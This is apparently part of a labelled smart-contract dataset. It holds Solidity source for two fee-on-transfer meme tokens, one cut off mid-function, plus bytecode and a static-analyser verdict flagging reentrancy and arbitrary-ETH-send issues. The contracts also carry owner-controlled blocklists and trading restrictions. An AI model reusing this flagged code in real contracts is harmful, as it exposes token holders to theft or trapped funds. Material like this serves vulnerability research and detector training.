constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610387578063c3c8cd80146103a7578063c9567bf9146103bc578063db92dbb6146103d1578063dd62ed3e146103e6578063e8078d941461042c57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610348578063a985ceef1461036857600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260208082527f4372617a7942616e616e6173207c20742e6d652f4372617a7942616e616e6173908201525b6040516101949190611bfd565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b55565b610441565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b15565b610458565b34801561021f57600080fd5b506101e56104c1565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb8565b6104d1565b005b34801561027257600080fd5b50610264610281366004611b80565b61057a565b34801561029257600080fd5b506101e56102a1366004611aa5565b6105f9565b3480156102b257600080fd5b5061026461061c565b3480156102c757600080fd5b506101e56102d6366004611aa5565b610649565b3480156102e757600080fd5b5061026461066b565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b5060408051808201909152600781526642414e414e415360c81b6020820152610187565b34801561035457600080fd5b506101bd610363366004611b55565b6106df565b34801561037457600080fd5b50601454600160a81b900460ff166101bd565b34801561039357600080fd5b506101e56103a2366004611aa5565b6106ec565b3480156103b357600080fd5b50610264610712565b3480156103c857600080fd5b50610264610748565b3480156103dd57600080fd5b506101e5610795565b3480156103f257600080fd5b506101e5610401366004611add565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043857600080fd5b506102646107ad565b600061044e338484610b60565b5060015b92915050565b6000610465848484610c84565b6104b784336104b285604051806060016040528060288152602001611dd6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611227565b610b60565b5060019392505050565b60006104cc30610649565b905090565b6011546001600160a01b0316336001600160a01b0316146104f157600080fd5b6033811061053e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056f565b6001600160a01b0381166000908152600660205260408120546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461063c57600080fd5b4761064681611261565b50565b6001600160a01b038116600090815260026020526040812054610452906112e6565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161053590611c50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044e338484610c84565b6001600160a01b0381166000908152600660205260408120600101546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461073257600080fd5b600061073d30610649565b90506106468161136a565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a01b1916600160a01b179055610790426078611cf5565b601555565b6014546000906104cc906001600160a01b0316610649565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161053590611c50565b601454600160a01b900460ff16156108315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610535565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086e3082683635c9adc5dea00000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190611ac1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ac1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a757600080fd5b505af11580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611ac1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0f81610649565b600080610a246000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611bd0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5c9190611b9c565b5050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610535565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610535565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610535565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156111ca57601454600160a81b900460ff1615610e58573360009081526006602052604090206002015460ff16610e5857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8357506013546001600160a01b03838116911614155b8015610ea857506001600160a01b03821660009081526005602052604090205460ff16155b1561100c57601454600160a01b900460ff16610f065760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610535565b60066009556004600a55601454600160a81b900460ff1615610fd257426015541115610fd257601054811115610f3b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fad5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610535565b610fb842602d611cf5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100c57610fef42600f611cf5565b6001600160a01b0383166000908152600660205260409020600101555b600061101730610649565b601454909150600160b01b900460ff1615801561104257506014546001600160a01b03858116911614155b80156110575750601454600160a01b900460ff165b156111c857601454600160a81b900460ff16156110e4576001600160a01b03841660009081526006602052604090206001015442116110e45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610535565b601454600160b81b900460ff161561114957600061110d600c548461150f90919063ffffffff16565b60145490915061113c9061113590859061112f906001600160a01b0316610649565b9061158e565b82906115ed565b90506111478161162f565b505b80156111b657600b5460145461117f916064916111799190611173906001600160a01b0316610649565b9061150f565b906115ed565b8111156111ad57600b546014546111aa916064916111799190611173906001600160a01b0316610649565b90505b6111b68161136a565b4780156111c6576111c647611261565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120c57506001600160a01b03831660009081526005602052604090205460ff165b15611215575060005b6112218484848461169d565b50505050565b6000818484111561124b5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d40565b95945050505050565b6011546001600160a01b03166108fc61127b8360026115ed565b6040518115909202916000818181858888f193505050501580156112a3573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112be8360026115ed565b6040518115909202916000818181858888f19350505050158015610b5c573d6000803e3d6000fd5b600060075482111561134d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610535565b60006113576116cb565b905061136383826115ed565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141457600080fd5b505afa158015611428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144c9190611ac1565b8160018151811061146d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114939130911684610b60565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cc908590600090869030904290600401611c85565b600060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151e57506000610452565b600061152a8385611d21565b9050826115378583611d0d565b146113635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610535565b60008061159b8385611cf5565b9050838110156113635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610535565b600061136383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ee565b600a808210156116415750600a611655565b602882111561165257506028611655565b50805b61166081600261171c565b15611673578061166f81611d57565b9150505b611683600a61117983600661150f565b600955611696600a61117983600461150f565b600a555050565b806116aa576116aa61175e565b6116b584848461178c565b8061122157611221600e54600955600f54600a55565b60008060006116d8611883565b90925090506116e782826115ed565b9250505090565b6000818361170f5760405162461bcd60e51b81526004016105359190611bfd565b5060006112588486611d0d565b600061136383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c5565b60095415801561176e5750600a54155b1561177557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179e876118f9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d09087611956565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ff908661158e565b6001600160a01b03891660009081526002602052604090205561182181611998565b61182b84836119e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189f82826115ed565b8210156118bc57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e65760405162461bcd60e51b81526004016105359190611bfd565b506118f18385611d72565b949350505050565b60008060008060008060008060006119168a600954600a54611a06565b92509250925060006119266116cb565b905060008060006119398e878787611a55565b919e509c509a509598509396509194505050505091939550919395565b600061136383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611227565b60006119a26116cb565b905060006119b0838361150f565b306000908152600260205260409020549091506119cd908261158e565b30600090815260026020526040902055505050565b6007546119ef9083611956565b6007556008546119ff908261158e565b6008555050565b6000808080611a1a6064611179898961150f565b90506000611a2d60646111798a8961150f565b90506000611a4582611a3f8b86611956565b90611956565b9992985090965090945050505050565b6000808080611a64888661150f565b90506000611a72888761150f565b90506000611a80888861150f565b90506000611a9282611a3f8686611956565b939b939a50919850919650505050505050565b600060208284031215611ab6578081fd5b813561136381611db2565b600060208284031215611ad2578081fd5b815161136381611db2565b60008060408385031215611aef578081fd5b8235611afa81611db2565b91506020830135611b0a81611db2565b809150509250929050565b600080600060608486031215611b29578081fd5b8335611b3481611db2565b92506020840135611b4481611db2565b929592945050506040919091013590565b60008060408385031215611b67578182fd5b8235611b7281611db2565b946020939093013593505050565b600060208284031215611b91578081fd5b813561136381611dc7565b600060208284031215611bad578081fd5b815161136381611dc7565b600060208284031215611bc9578081fd5b5035919050565b600080600060608486031215611be4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2957858101830151858201604001528201611c0d565b81811115611c3a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd45784516001600160a01b031683529383019391830191600101611caf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0857611d08611d86565b500190565b600082611d1c57611d1c611d9c565b500490565b6000816000190483118215151615611d3b57611d3b611d86565b500290565b600082821015611d5257611d52611d86565b500390565b6000600019821415611d6b57611d6b611d86565b5060010190565b600082611d8157611d81611d9c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064657600080fd5b801515811461064657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0faf4295a80b6dd1d2bfd44fcaf41a37667b31e460653fab39c56a5e0a3859f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 810 |
0x4cc0a2a4dc74ffeec6ac0e75a4c5512be95b9de9 | /**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Astronaut is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonMusk Bless America";
string private constant _symbol = " ELONBLESSUS ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
